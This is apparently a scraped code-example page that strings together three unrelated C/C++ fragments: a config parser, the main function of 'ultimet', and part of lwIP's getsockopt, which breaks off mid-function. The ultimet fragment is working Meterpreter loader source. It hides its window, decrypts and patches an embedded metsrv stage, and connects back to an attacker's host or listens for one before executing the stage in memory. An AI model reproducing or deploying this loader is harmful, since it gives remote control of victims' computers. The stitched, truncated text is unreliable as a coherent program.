    // This line makes debugging master dependent on cds host order: sng_map_hd.host = inet_addr(buf);
    sng_map_hd.host = sng_gethostid(); 
    status2=fscanf(fp, "%s", sng_map_hd.appid);
    status2=fscanf(fp, "%s", sng_map_hd.csl_name);
    status2=fscanf(fp, "%s", sng_map_hd.name);
    status2=fscanf(fp, "%s %s %s", buf, buf, sng_map_hd.protocol);
    status2=fscanf(fp, "%s %s %d", buf,buf,&sng_map_hd.f);
    status2=fscanf(fp,"%s %s %d", buf,buf,&sng_map_hd.p);
    status2=fscanf(fp,"%s %s %d", buf,buf,&sng_map_hd.t);
    status2=fscanf(fp,"%s %s %d",buf,buf,&sng_map_hd.d);
//    printf("CNF_INIT. f(%d) p(%d) t(%d)\n",
//	sng_map_hd.f, sng_map_hd.p, sng_map_hd.t);

    /* Add cpu_list here */
    status2=fscanf(fp, "%d\n", &plist_cnt);
    for (i=0; i<plist_cnt; i++)
    {
        if ((p_q = (host_t *) malloc(sizeof(host_t))) == NULL)
                             exit(E_MALLOC);
	strcpy(p_q->app_id, sng_map_hd.appid);
	status2=fscanf(fp, "%s %s", buf, p_q->login);
	strcpy(p_q->login, getpwuid(getuid())->pw_name);
	p_q->hostid = inet_addr(buf);
        p_q->next = NULL;
	sprintf(mapid, "sng$cid$%s", p_q->login);
	if (!(p_q->cidport = pmd_getmap(mapid,p_q->hostid,
		(u_short)PMD_PROT_TCP)))
	{
	    printf("cnf_init_error: remote cid port lookup failure.\n");
	    exit(1);
	}
        if (i == 0) list_host = end_host = p_q;
        else { 
		end_host->next = p_q;
                end_host = p_q;
        }
    }
    /* Now read arguments */
    bufp = fgets(buf, PATH_LEN, fp);
    idx = 0;
    while (*bufp != ':')
    {
	sscanf(bufp,"%s %s %s",buf,buf,sng_map_hd.args[idx]);
	// printf(" CNF_INIT: host-read(%s)\n", sng_map_hd.args[idx]); 
    	bufp = fgets(buf, PATH_LEN, fp);
	idx++;
    }
    /* Skip ":" */
    bufp = fgets(buf, PATH_LEN, fp);
    sng_map_hd.link_hd = NULL;
    sng_map_hd.link_cnt = 0;
    while (bufp != NULL) 
    {
	link_pt = (sng_map *)malloc(sizeof(sng_map));
	link_pt->next = sng_map_hd.link_hd;
	sng_map_hd.link_hd = link_pt;
	sscanf(bufp,"%c %c %s %s %s %s %s\n",
		&link_pt->type, 
		&link_pt->dirn,
		link_pt->ref_name,
		link_pt->obj_name,
		link_pt->cpu,
		link_pt->phys_name,
		link_pt->login);
	// printf(" CNF_INIT: ref(%s) objnm(%s) host(%s) pname(%s) login(%s)\n",
	// 	link_pt->ref_name,
	//	link_pt->obj_name,
	//	link_pt->cpu,
	//	link_pt->phys_name,
	//	link_pt->login);

	link_pt->open = FALSE;
	link_pt->port = 0;
	link_pt->ret_port = 0;
	bufp = fgets(buf, PATH_LEN, fp);
       	sng_map_hd.link_cnt++;	/* increment number of table entries */
    }
    /* Now add direct tuple space */
    sng_map_hd.link_cnt ++;
    link_pt = (sng_map *)malloc(sizeof(sng_map));
    link_pt->next = sng_map_hd.link_hd;
    sng_map_hd.link_hd = link_pt;
    link_pt->type = 't';
    link_pt->dirn = '*';
    strcpy(link_pt->ref_name, "DynamicTS");
    strcpy(link_pt->obj_name, "DynamicTS");
    strcpy(link_pt->phys_name, "DynamicTS");
    gethostname(link_pt->cpu, sizeof(link_pt->cpu));
    strcpy(link_pt->login, getpwuid(getuid())->pw_name);
    link_pt->open = TRUE;
    link_pt->sd = get_socket();
    link_pt->ret_port = bind_socket(link_pt->sd, 0);
    link_pt->port = 0; /* To be filled by respective calls later */
    /* end of dts ys96 */

    /* close init file */
    fclose(fp);
    if (sng_map_hd.d > 1) cnf_print_map();
    handles = (sng_map **) malloc(sizeof(sng_map *)*sng_map_hd.link_cnt);
    for (sng_idx = 0 ; sng_idx < sng_map_hd.link_cnt ; sng_idx++) 
	handles[sng_idx] = NULL ;

    sprintf(buf, "sng$cid$%s", getpwuid(getuid())->pw_name);
    if (!(sng_map_hd.cidport = pmd_getmap(buf,sng_map_hd.host,
		(u_short)PMD_PROT_TCP)))
    {
    	printf("cnf_init_error: cidport lookup failure.\n");
    	exit(1);
    }
//  printf("cnf_init. hostip(%ul) port(%d) appid(%s)\n",
//	sng_map_hd.host, sng_map_hd.cidport,sng_map_hd.appid);
    /* Reset the dts now. Ys96 */
    handles[0] = sng_map_hd.link_hd;
    sng_idx = 1;	/* reset the open count */
    } 
}
int wmain(int argc, wchar_t *argv[])
{
	PAYLOAD_SETTINGS payload_settings = {0};	// That's defined at main.h
	unsigned char* buffer = nullptr;			// This will hold the loaded stage
	unsigned char* TempBuffer = nullptr;		// This will have stuff set-up "like the socket", then the stage will be copied over.
	DWORD bufferSize = 0;						// buffer length
	DWORD StageSize = 0;						// if we're using encryption ... stage size = (bufferSize - 16) 
	DWORD index = 0;							// will be used to locate offset of stuff to be patched "transport, the url ... etc."
	char EncKey[17] = {0};						// XOR Encryption key
	void (*function)() = nullptr;				// The casted-to-be-function after we have everything in place.
	bool FallbackToStager = false;				// If the stage is not bundled in the exe as a resource, or "-f" is not specified, ultimet falls back to work as a stager: if this is true, metsvc will not be availabe. 
	bool metsvc = false;						// Is metsvc chosen as the transport? this will only work if we have the stage upfront, otherwise it will fail.
	bool bBind = false;							// Are we bind payload?.
	bool MSFPAYLOAD = false;					// Create a msfpayload-like exe instead of executing? 
	int err = 0;								// Errors
	wchar_t UNICODEtransport_2[64] = {0};		// Sorry, I'm out of variable names ...

	//If we will get options from resource
	wchar_t UNICODEtransport[64] = {0};
	wchar_t UNICODElhost[128] = {0};
	wchar_t UNICODElport[32] = {0};

	char ANSItransport[64] = {0};
	char ANSIlhost[128] = {0};
	char ANSIlport[32] = {0};

	//If "-f" is specified (load stage from local file)
	wchar_t StageFilePath[MAX_PATH] = {0};		// If the stage is going to be loaded from a dll file from the filesystem, path will be put here. 

	// reverse_metsvc specific Variables
	SOCKET ConnectSocket = INVALID_SOCKET;		// Socket ... will be used for reverse_metsvc and reverse_tcp

	// HTTP(S) Specific Variables
	char url[512] = {0};	//Full URL, 512 bytes are enough. 
	/*************
	Program Start
	**************/

	//This will be used later for deciding if we can get options from resource...
	BOOL validTransport = false;
	if(GetOptionsFromResource(UNICODEtransport,UNICODElhost,UNICODElport)) //
		validTransport = IsThisAValidTransport(UNICODEtransport);


	///////////////////////////////// Parsing from command line ///////////////////////////////////
	if(argc>1) //Parsing options from resource failed, let's parse options from command line 
	{
		print_header();								// as it sounds...

		// Is `--reset` been given as the first argument?
		// if yes, we'll copy ourselfs to a file called `ultimet_reset.exe`, then update the options resource to its default
		if(wcscmp(argv[1],L"--reset") == 0)
		{
			dprintf(L"[*] Creating a `clean` ultimet copy with all options reset to default ... \n");
			CopyFile(argv[0],L"ultimet_reset.exe",FALSE);
			ResourceOptionsReset();
			exit(1);
		}

		// Is `--remove-stage` been given as the first argument?
		// if yes, we'll copy ourselfs to a file called `ultimet_lite.exe`, then update the remove resource that contains the stage.
		if(wcscmp(argv[1],L"--remove-stage") == 0)
		{
			dprintf(L"[*] Creating a new file with stage removed... \n");
			CopyFile(argv[0],L"ultimet_no_stage.exe",FALSE);
			RemoveStage();
			exit(1);
		}
		// Parse command line arguments, Fill the PAYLOAD_SETTINGS struct et'all... idea from "http://www.cplusplus.com/forum/articles/13355/"
		for (int i = 1; i < argc; i++) 
		{
			if (i != argc) // Check that we haven't finished parsing already
				if (wcscmp(argv[i], L"-t") == 0) { //Transport; available options are reverse_tcp, reverse_metsvc, REVERSE_HTTP, REVERSE_HTTPS ... case doesn't matter.
					payload_settings.TRANSPORT = argv[i + 1];
					_wcsupr(payload_settings.TRANSPORT);  // Wide-String-to-uppercase
					wcscpy(UNICODEtransport_2,payload_settings.TRANSPORT); //we will use UNICODEtransport_2 if we've been asked to do msfpayload
					if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0) 
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
					}
					else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
						metsvc = true;
					}
					else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP";
					}
					else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS";
					}
					else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
						bBind = true;
					}
					else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
						metsvc = true;
						bBind = true;
					}

					else {
						dprintf(L"[-] Unknown transport: \"%s\"\n[-] Valid transports are reverse_tcp, reverse_metsvc, reverse_http,", payload_settings.TRANSPORT);
						dprintf(L"\n    reverse_https, bind_tcp and bind_metsvc.\n");  
						exit(1);
					}

					// End of Transport checks
				} else if (wcscmp(argv[i], L"-h") == 0) {		//LHOST
					payload_settings.LHOST = argv[i + 1];
				} else if (wcscmp(argv[i], L"-p") == 0) {		//LPORT
					payload_settings.LPORT = argv[i + 1];
				} else if (wcscmp(argv[i], L"-ct") == 0) {		//SessionCommunicationTimeout in seconds - 300 by default
					payload_settings.comm_timeout = _wtoi(argv[i + 1]);
				} else if (wcscmp(argv[i], L"-et") == 0) {		//SessionExpirationTimeout in seconds - 604800 by default
					payload_settings.expiration_timeout = _wtoi(argv[i + 1]);
				}  else if (wcscmp(argv[i], L"-ua") == 0) {		//USER_AGENT
					payload_settings.USER_AGENT = argv[i + 1];
				}  else if (wcscmp(argv[i], L"-f") == 0) {		//Should we load the stage from a file rather than from the resource?
					wcscpy_s(StageFilePath,argv[i + 1]);
				}  else if (wcscmp(argv[i], L"--help") == 0) {		//Print usage and quit
					print_header();
					usage();
					exit(1);
				}  else if (wcscmp(argv[i], L"--msfpayload") == 0) {		//are we going to mimic msfpayload?
					MSFPAYLOAD = true;
				}
		}
		//Do we have the minimum parameters?
		if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL)
		{
			dprintf(L"[-] Not enough parameters! \n\n");
			usage();
			exit(1);
		} else validTransport = false; // This is a bit confusing, but works: if we have the minimum info to get started, we will set validTransport to false so we will not start parsing options from resource.
		
		//////////////////////// start of msfpayload //////////////////////////////
		if(MSFPAYLOAD) // We will create a new exe with specified options, then exit
		{
			dprintf(L"[*] Switching to MSFPAYLOAD mode, parsing options ... \n");
			dprintf(L"\tTRANSPORT\t:\t%s\n",UNICODEtransport_2);
			dprintf(L"\tLHOST\t\t:\t%s\n",payload_settings.LHOST);
			dprintf(L"\tLPORT\t\t:\t%s\n",payload_settings.LPORT);

			UnicodeToAnsi(ANSItransport, UNICODEtransport_2);
			UnicodeToAnsi(ANSIlhost, payload_settings.LHOST);
			UnicodeToAnsi(ANSIlport, payload_settings.LPORT);

			msfpayload(ANSItransport, ANSIlhost, ANSIlport);
			//msfpayload will exit ...
		}

		///////////////////////////////// Parsing from resource ///////////////////////////////////
	/*	Will try to parse options from resource, 
		this can fail in two ways:
			one: if we couldn't read from resource
			two: we read options from resource correctly, however, the smarty-pants who put the configuration did not set a valid transport
		So, we'll check for any of those two errors, if any of them failed, we'll proceed to other options to get the parameters from.
	*/
	}
	else if(validTransport) //if true means that TRNSPORT, LHOST & LPORT are retrieved successfully from the resource AND the retrieved transport is a valid one.
	{
		Stealth(); // hide window :) 
		payload_settings.TRANSPORT	=	UNICODEtransport;
		payload_settings.LHOST		=	UNICODElhost;
		payload_settings.LPORT		=	UNICODElport;
		
		//Start of TRANSPORT Checks and adjustments
		_wcsupr_s(payload_settings.TRANSPORT, wcslen(payload_settings.TRANSPORT) * sizeof(wchar_t)); // Wide-String-to-uppercase
		if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0) 
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
		}
		else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
			metsvc = true;
		}
		else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP";
		}
		else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS";
		}
		else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
			bBind = true;
		}
		else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
			metsvc = true;
			bBind = true;
		}
	}
	// check...
	if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL)
	{
		dprintf(L"[-] Not enough parameters! \n\n");
		print_header();
		usage();
		exit(1);
	}

	//Have we been asked to load the stage from a file?
	if(wcscmp(StageFilePath, L"") != 0)
	{
		dprintf(L"[*] Loading stage into memory from file \"%s\"\n", StageFilePath);
		bufferSize = CopyStageToBuffer(StageFilePath, &buffer);
	} else { // If not, We'll try to load the stage from the resource ...

		// Read resource into buffer ...
		dprintf(L"[*] Loading stage into memory from resource...\n");
		bufferSize = ResourceToBuffer(101, (LPCTSTR)L"BINARY", &buffer); //copy encrypted stage from resource to buffer
		if (bufferSize == 0) // if something went wrong...
		{
			FallbackToStager = true; // We will function in "stager" mode.
			if(metsvc) // Ok, we will fallback to stager mode, however, metsvc will not be available in stager mode ... right?
			{
				dprintf(L"\n[-] Unable to load stage from resource, and \"-f\" not specified ... yet you've chosen metsvc!\n");
				dprintf(L"    sorry sweetheart, that's not going to work, metsvc *requires* that the stage is available upfront.\n");
				dprintf(L"[-] ... will exit.\n");
				exit(1);
			} else
			{
				dprintf(L"[!] Couldn't read stage from resource & \"-f\" not speified; falling back to \"stager\" mode...\n");
			}
		}
	}
	/*///////////////////////////
	/////////////////////////////
	Warning! Program split ahead!
	/////////////////////////////
	/////////////////////////////

	At this given point, we know where the stage is going to be loaded from,
	either from resource (default), file or from the multi/handler, which will be handled differently.

	========
	Wrapping up what happened so far:
	if(-f specified)
		load_stager_from_file
			else
				load_stage_from_resource

	---
	buffer == stage?;
	if (failed?) set FallbackToStager = true;

	if(FallbackToStager){
		Act as a "regular" stand-alone meterpreter exe;
			populate buffer,
				if(tcp) adjust buffer usng ASM voodoo;
	} else {
		buffer already has the stage,
			decrypt it,
				patch it, 
					do your stuff (socket, url building ..etc.)
	}
	now buffer == stage!!
	((void (*)())buffer)();
	_____________________
	Ready? let's do it...
	*/

	if(FallbackToStager)
		//--------- Start of "working as a stager" ------------//
	{

		if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0) //bind_tcp & reverse_tcp have same transport.
		{
			if(bBind)		/* bind_tcp */
				StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT);
			else
				StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT);
		} 

		else
		{
			StagerReverseHTTP(payload_settings.LHOST,payload_settings.LPORT,payload_settings.TRANSPORT);
		}
	}
		//--------- End of "working as a stager" ------------//
	
	
	else //This is where "working as an inline stand-alone exe" stuff starts...
	{
		//Is the stage encrypted?
		if(memcmp(&buffer[0],"MZ",2))
		{
			dprintf(L"[!] Looks like loaded stage is encrypted, Locating Encryption key...\n");
			GetKeyFromBuffer(buffer, EncKey, 16);
			printf("[*] \"%s\" will be used; decrypting...\n", EncKey);
			XORcrypt(buffer, EncKey, bufferSize);
			if(memcmp(&buffer[16],"MZ",2))
			{
				dprintf(L"[-] Something went really wrong: bad resource, wrong encryption key, or maybe something else ... will exit!\n");
				exit(1);
			}
			dprintf(L"[*] Looks like stage decrypted correctly, proceeding to patching stage...\n");
			buffer = buffer + 16;
			StageSize = bufferSize - 16;
		} else {
			dprintf(L"[*] Looks like loaded stage is a regular DLL, proceeding to patching stage..\n");
			StageSize = bufferSize;
		}

		/////////////////////////////////////////
		/****************************************
		*		Patching Stage in memory.		*
		****************************************/
		/////////////////////////////////////////

		// Patching transport 
		index = binstrstr(buffer, (int)StageSize, (unsigned char*)global_meterpreter_transport, (int)strlen(global_meterpreter_transport));
		if (index == 0) // if the transport is not found ...
		{
			dprintf(L"[-] Couldn't locate transport string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
			exit(1);
		}
		dprintf(L"[*] Patching transport: Offset 0x%08x ->  \"%s\"\n", index, payload_settings.TRANSPORT );
		PatchString(buffer, payload_settings.TRANSPORT, index, wcslen(payload_settings.TRANSPORT));

		// Patching ReflectiveDLL bootstrap <- by Anwar ... thanks Anwar!
		index = 0;  //rewind

		
		DWORD Address = ReflectiveLoaderOffset((DWORD)buffer)-7;
		dprintf(L"[*] Patching ReflectiveDll Bootstrap: \"MZ\" Offset 0x%08x\n", index);
		unsigned char AddressChar[4];		
		memcpy((void*)&AddressChar, (void*)(unsigned char*)&Address,4);	// What the !$#% ... will discuss with anwar those casted-casts...
		memcpy(ReflectiveDllBootStrap + 15, (void*)AddressChar, 4);

		//for ( unsigned int i=0; i<sizeof(ReflectiveDllBootStrap); i++) { printf("%x ",(unsigned char)ReflectiveDllBootStrap[i]); }  
		memcpy(buffer, ReflectiveDllBootStrap, 62);//overwrite dos header with the ReflectiveDll bootstrap

		//////////////////////////////////////////
		//  Stuff needed for HTTP/HTTPS only!!  //
		//////////////////////////////////////////
		if((wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) || (wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTPS") == 0))
		{

			//Patching UserAgent
			index = 0; //rewind.
			index = binstrstr(buffer, (int)StageSize, (unsigned char*)global_meterpreter_ua, (int)strlen(global_meterpreter_ua));
			if (index == 0) // if the UA is not found ...
			{
				dprintf(L"[-] Couldn't locate UA string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
				exit(1);
			}
			if(payload_settings.USER_AGENT == NULL)
			{
				dprintf(L"[!] No UserAgent specified, using default one ...\n");
				payload_settings.USER_AGENT = L"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0\x00";
			}
			dprintf(L"[*] Patching UA: Offset 0x%08x -> \"%s\"\n", index, payload_settings.USER_AGENT);
			PatchString(buffer, payload_settings.USER_AGENT, index, wcslen(payload_settings.USER_AGENT));

			//Patching global expiration timeout.
			index = 0; //rewind
			index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x61\xe6\x4b\xb6", 4); //int *global_expiration_timeout = 0xb64be661; little endian, metsrv.dll 
			if (index == 0) // if the global_expiration_timeout is not found ...
			{
				dprintf(L"[-] Couldn't locate global_expiration_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
				exit(1);
			}

			if(payload_settings.expiration_timeout == NULL)
			{
				dprintf(L"[!] No expiration_timeout specified, using 60400 seconds ...\n");
				payload_settings.expiration_timeout = 60400;
			}
			dprintf(L"[*] Patching global_expiration_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.expiration_timeout);
			memcpy(&buffer[index], &payload_settings.expiration_timeout, 4);

			//Patching global_comm_timeout.
			index = 0; //rewind
			index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x7f\x25\x79\xaf", 4); //int *global_comm_timeout = 0xaf79257f; little endian, metsrv.dll 
			if (index == 0) // if the global_expiration_timeout is not found ...
			{
				dprintf(L"[-] Couldn't locate global_comm_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
				exit(1);
			}

			if(payload_settings.comm_timeout == NULL)
			{
				dprintf(L"[!] No comm_timeout specified, using 300 seconds ...\n");
				payload_settings.comm_timeout = 300;
			}
			dprintf(L"[*] Patching global_comm_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.comm_timeout);
			memcpy(&buffer[index], &payload_settings.comm_timeout, 4);
		}

		/*
		*	Preparing connection...
		*/
		// Are we reverse_metsvc?
		if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && !bBind) //Transport SSL, but not bind.
		{
			if(!metsvc) //Are we METERPRETER_TRANSPORT_SSL but not metsvc? note that reverse_tcp AND reverse_metsvc use the same transport, it's the exploit/multi/handler that will make the difference.
			{
				// If we reached this far, it means that the stage is loaded, transport is SSL, yet metsvc is still false "not chosen", even though we have the stage
				// That means stage will be loaded AGAIN over network, next time, they should chose reverse_metsvc.
				// However, The customer is always right, right? let's connect them to their beloved reverse_tcp in stager mode nevertheless.
				// ... but we have to tell them what they've done wrong.
				dprintf(L"\n[!] We already have the stage, why did you chose reverse_tcp? you could've picked reverse_metsvc.\n" 
						L"    next time use \"-t reverse_metsvc\" -> \"exploit/multi/handler/windows/metsvc_reverse_tcp\".\n"
						L" -  anyway, will assume you know what you're doing and connect to reverse_tcp in *stager* mode...\n\n");
					
				dprintf(L"[*] Make sure you have \"windows/meterpreter/reverse_tcp\" handler running.\n\n");
				
				// Let's just fallback to stager mode ... you foolish noisy bandwidth wasters.
				StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT);
				// see you on the other side :)
			} 

			// we are METERPRETER_TRANSPORT_SSL, we have the stage, and metsvc is true :)

			// Adjusting buffer .. this is important!
			// reverse_metsvc has extra requirements ... the stage needs to be preceeded with `0xBF + 4 bytes of a valid socket connected to the handler` 
			// My approach to acheive this: We'll first VirtualAlloc size + 5 bytes to another buffer "TempBuffer", skip 5 bytes, then copy the contents 
			// of "buffer" over, then point buffer to that new TempBuffer ... then take it from there.
			TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			memcpy(TempBuffer + 5, buffer, StageSize);		//skiping first five bytes, then copying buffer contents ...
			buffer = TempBuffer;							//Got it? I'm sure there's a better way to do that, but I'm not smart enough to figure out how yet :).
			//////////////////////////////////////////////////

			if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_reverse_tcp\" handler running.\n\n");
			ConnectSocket = get_socket(payload_settings.LHOST,payload_settings.LPORT);
			if (ConnectSocket == INVALID_SOCKET)
			{
				dprintf(L"[-] Failed to connect ... will exit!\n");
				exit(1);
			}
			dprintf(L"[*] Setting EDI-to-be value:  0x%08x -> 0xBF\n", &buffer);
			buffer[0] = 0xBF;
			dprintf(L"[*] Copying the socket address to the next 4 bytes...\n");
			memcpy(buffer+1, &ConnectSocket, 4);
		} 
		
				// Are we bind??
		else if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && bBind) // I know we could've merged this with the previous code block, but that's clearer.
		{
			if(!metsvc)
			{
				dprintf(L"\n[!] We already have the stage, why did you chose bind_tcp? you could've picked bind_metsvc.\n" 
						L"    next time use \"-t bind_metsvc\" -> \"exploit/multi/handler/windows/metsvc_bind_tcp\".\n"
						L" -  anyway, will assume you know what you're doing and connect to bind_tcp in *stager* mode...\n\n");
					
				dprintf(L"[*] Make sure you have \"windows/meterpreter_bind_tcp\" handler running.\n\n");

				StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT);
			} 
			
			TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			memcpy(TempBuffer + 5, buffer, StageSize);
			buffer = TempBuffer;

			if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_bind_tcp\" handler running.\n\n");
			ConnectSocket = get_server_socket(payload_settings.LHOST,payload_settings.LPORT);
			if (ConnectSocket == INVALID_SOCKET)
			{
				dprintf(L"[-] Failed to connect ... will exit!\n");
				exit(1);
			}
			dprintf(L"[*] Setting EDI-to-be value:  0x%08x -> 0xBF\n", &buffer);
			buffer[0] = 0xBF;
			dprintf(L"[*] Copying the socket address to the next 4 bytes...\n");
			memcpy(buffer+1, &ConnectSocket, 4);
		} 

		// Are we reverse_http(s)?
		else if((wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) || (wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTPS") == 0))
		{
			/*
			Building the URL
			*/
			int checksum = 0;			//Calculated Checksum placeholder. 
			char URI_Part_1[5] = {0};	//4 chars ... it can be any length actually.
			char URI_Part_2[17] = {0};	//16 random chars.
			srand ( (UINT)time(NULL) );	//Seed rand() 

			while(true)				//Keep getting random values till we succeed, don't worry, computers are pretty fast and we're not asking for much.
			{
				gen_random(URI_Part_1, 4);				//Generate a 4 char long random string ... it could be any length actually, but 4 sounded just fine.
				checksum = TextChecksum8(URI_Part_1);	//Get the 8-bit checksum of the random value
				if(checksum == URI_CHECKSUM_CONN)		//If the checksum == 98, it will be handled by the multi/handler correctly as a "CONN_" and will be short fused into a session.
				{
					break; // We found a random string that checksums to 98
				}
			}
			gen_random(URI_Part_2, 16);	//get second part, random 16 chars

			//Let's build the complete uri, it should look like http(s)://LHOST:LPORT/CHECKSUM8(98)_XXXXXXXXXXXXXXXX/
			//HTTP? HTTPS?
			if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0)
				strcat_s(url, "http://");
			else
				strcat_s(url, "https://");

			//The joys of converting between wchar_t and char ...
			char tempChar1[512] = {0}; //This is used for converting from wchar_t to char... 
			char tempChar2[512] = {0}; //This is used for converting from wchar_t to char... 

			wcstombs_s(NULL,tempChar1,payload_settings.LHOST, wcslen(payload_settings.LHOST)); //convert the LHOST to char
			wcstombs_s(NULL,tempChar2,payload_settings.LPORT, wcslen(payload_settings.LPORT)); //convert the LPORT to char

			//wide-char conversion happiness ends here... building the url...
			strcat_s(url,tempChar1);	// "http(s)://LHOST"
			strcat_s(url,":");			// "http(s)://LHOST:"
			strcat_s(url,tempChar2);	// "http(s)://LHOST:LPORT"
			strcat_s(url,"/");			// "http(s)://LHOST:LPORT/"
			strcat_s(url,URI_Part_1);	// "http(s)://LHOST:LPORT/CONN"
			strcat_s(url,"_");			// "http(s)://LHOST:LPORT/CONN_"
			strcat_s(url,URI_Part_2);	// "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX"
			strcat_s(url,"/\0");		// "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX/"
			//Thanks for waiting... :)

			wchar_t temp[512] = {0};
			mbstowcs_s(NULL,temp,url,strlen(url));
			dprintf(L"[*] Calculated URL: %s\n",temp);

			//Patching URL ...
			index = 0; //Rewind
			index = binstrstr(buffer, (int)bufferSize, (unsigned char*)global_meterpreter_url, (int)strlen(global_meterpreter_url));
			if (index == 0) // if the global_meterpreter_url is not found ...
			{
				dprintf(L"[-] Couldn't locate global_meterpreter_url string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
				exit(1);
			}
			dprintf(L"[*] Patching global_meterpreter_url: Offset 0x%08x ->  \"%s\"\n", index, temp );
			memcpy(&buffer[index], &url, strlen(url)+1); //+1 to make sure it'll be null terminated, otherwise it will end with 'X'
		}

	}

	dprintf(L"[*] Everything in place, casting whole buffer as a function...\n");
	function = (void (*)())buffer;

	dprintf(L"[*] Detaching from console & calling the function, bye bye [ultimet], hello metasploit!\n");
	FreeConsole();
	function();
	return 0;
}
Beispiel #16
0
int lwip_getsockopt (int s, int level, int optname, void *optval, socklen_t *optlen)
{
  int err = 0;
  struct lwip_socket *sock = get_socket(s);

  if(!sock) {
   	set_errno(EBADF);
    return -1;
  }

  if( NULL == optval || NULL == optlen ) {
    sock_set_errno( sock, EFAULT );
    return -1;
  }

  /* Do length and type checks for the various options first, to keep it readable. */
  switch( level ) {
   
/* Level: SOL_SOCKET */
  case SOL_SOCKET:
      switch(optname) {
         
      case SO_ACCEPTCONN:
      case SO_BROADCAST:
      /* UNIMPL case SO_DEBUG: */
      /* UNIMPL case SO_DONTROUTE: */
      case SO_ERROR:
      case SO_KEEPALIVE:
      /* UNIMPL case SO_OOBINLINE: */
      /* UNIMPL case SO_RCVBUF: */
      /* UNIMPL case SO_SNDBUF: */
      /* UNIMPL case SO_RCVLOWAT: */
      /* UNIMPL case SO_SNDLOWAT: */
#if SO_REUSE
      case SO_REUSEADDR:
      case SO_REUSEPORT:
#endif /* SO_REUSE */
      case SO_TYPE:
      /* UNIMPL case SO_USELOOPBACK: */
        if( *optlen < sizeof(int) ) {
          err = EINVAL;
        }
          break;

      default:
        LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_getsockopt(%d, SOL_SOCKET, UNIMPL: optname=0x%x, ..)\n", s, optname));
        err = ENOPROTOOPT;
      }  /* switch */
      break;
                     
/* Level: IPPROTO_IP */
  case IPPROTO_IP:
      switch(optname) {
      /* UNIMPL case IP_HDRINCL: */
      /* UNIMPL case IP_RCVDSTADDR: */
      /* UNIMPL case IP_RCVIF: */
      case IP_TTL:
      case IP_TOS:
        if( *optlen < sizeof(int) ) {
          err = EINVAL;
        }
        break;

      default:
        LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_getsockopt(%d, IPPROTO_IP, UNIMPL: optname=0x%x, ..)\n", s, optname));
        err = ENOPROTOOPT;
      }  /* switch */
      break;
         
/* Level: IPPROTO_TCP */
  case IPPROTO_TCP:
      if( *optlen < sizeof(int) ) {
        err = EINVAL;
        break;
    }
      
      /* If this is no TCP socket, ignore any options. */
